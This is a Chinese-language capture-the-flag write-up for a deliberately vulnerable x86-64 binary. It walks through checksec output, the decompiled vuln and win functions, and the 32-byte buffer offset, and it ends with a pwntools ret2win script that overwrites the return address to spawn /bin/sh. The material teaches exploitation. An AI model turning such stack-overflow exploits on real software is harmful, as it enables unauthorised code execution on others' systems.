二进制 下载地址:传送门
检查分析 1 2 3 4 5 6 7 8 9 10 11 12 [root@ningan 3rd] pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped [root@ningan 3rd] [root@ningan 3rd] [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/awd/3rd/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
可以看到,安全防护还是比较弱的
运行二进制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 [root@ningan 3rd] Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf +--------------------+ 0x00007ffd6f5c6958 | 0x0000000000000000 | +--------------------+ 0x00007ffd6f5c6960 | 0x0000000000000000 | +--------------------+ 0x00007ffd6f5c6968 | 0x00007f4272e8b170 | +--------------------+ 0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln) +--------------------+ 0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main) +--------------------+ 0x00007ffd6f5c6990 | 0x0000000000000001 | +--------------------+ 0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 | +--------------------+ Input: 123456 [ Address ] [ Stack ] +--------------------+ 0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf +--------------------+ 0x00007ffd6f5c6958 | 0x0000000000000000 | +--------------------+ 0x00007ffd6f5c6960 | 0x0000000000000000 | +--------------------+ 0x00007ffd6f5c6968 | 0x00007f4272e8b170 | +--------------------+ 0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln) +--------------------+ 0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main) +--------------------+ 0x00007ffd6f5c6990 | 0x0000000000000001 | +--------------------+ 0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 | +--------------------+ Bye!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 [root@ningan 3rd] Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf +--------------------+ 0x00007ffe0d6dd768 | 0x0000000000000000 | +--------------------+ 0x00007ffe0d6dd770 | 0x0000000000000000 | +--------------------+ 0x00007ffe0d6dd778 | 0x00007f02d1df5170 | +--------------------+ 0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln) +--------------------+ 0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main) +--------------------+ 0x00007ffe0d6dd7a0 | 0x0000000000000001 | +--------------------+ 0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 | +--------------------+ Input: aaaaaaaa [ Address ] [ Stack ] +--------------------+ 0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf +--------------------+ 0x00007ffe0d6dd768 | 0x000000000000000a | +--------------------+ 0x00007ffe0d6dd770 | 0x0000000000000000 | +--------------------+ 0x00007ffe0d6dd778 | 0x00007f02d1df5170 | +--------------------+ 0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln) +--------------------+ 0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main) +--------------------+ 0x00007ffe0d6dd7a0 | 0x0000000000000001 | +--------------------+ 0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 | +--------------------+ Bye!
ida分析 分析main函数,发现有提示:call win函数
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); printf ("Your goal is to call `win` function (located at %p)\n" , win); vuln(); puts ("Bye!" ); return 0 ; }
可以看到,读取了一些内容存到了buf变量里,然后就调用了return函数,可以用这个栈溢出漏洞来进行利用
1 2 3 4 5 6 7 8 9 __int64 vuln () { char buf[32 ]; _show_stack(buf); printf ("Input: " ); read(0 , buf, 0x200 uLL); return _show_stack(buf); }
查看win函数,看到有system(“/bin/sh”)的指令,可以直接利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void __noreturn win () { _QWORD v0[2 ]; v0[1 ] = v0; if ( ((unsigned __int8)v0 & 0xF ) != 0 ) { puts ("Oops! RSP is misaligned!" ); puts ("Some functions such as `system` use `movaps` instructions in libc-2.27 and later." ); puts ("This instruction fails when RSP is not a multiple of 0x10." ); puts ("Find a way to align RSP! You're almost there!" ); sleep(1u ); } else { puts ("Congratulations!" ); system("/bin/sh" ); } exit (0 ); }
找到system(“/bin/sh”);的地址为:0x00000000004008C4
1 2 .text :00000000004008 C4 48 8 D 3 D C4 03 00 00 lea rdi, command ; "/bin/sh" .text :00000000004008 CB E8 A0 FD FF FF call _system
解题思路 找到填充的间隔为32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [root@ningan 3rd] Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf +--------------------+ 0x00007ffce7496298 | 0x0000000000000000 | +--------------------+ 0x00007ffce74962a0 | 0x0000000000000000 | +--------------------+ 0x00007ffce74962a8 | 0x00007f258aa44170 | +--------------------+ 0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln) +--------------------+ 0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main) +--------------------+ 0x00007ffce74962d0 | 0x0000000000000001 | +--------------------+ 0x00007ffce74962d8 | 0x00007ffce74963a8 | +--------------------+ Input: ^C [root@ningan 3rd] [root@ningan 3rd] Python 3.6.9 (default, Mar 10 2023, 16:46:00) [GCC 8.4.0] on linux Type "help" , "copyright" , "credits" or "license" for more information. >>> 0x00007ffce74962b0 - 0x00007ffce7496290 32
上面已经找到system(“/bin/sh”);的地址为:0x00000000004008C4
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * io = process("./pwn" ) context.arch = "amd64" padding = b'A' * 32 + b'BBBBBBBB' return_addr = 0x00000000004008C4 payload = padding + p64(return_addr) io.recvuntil('Input: ' ) io.sendline(payload) io.interactive()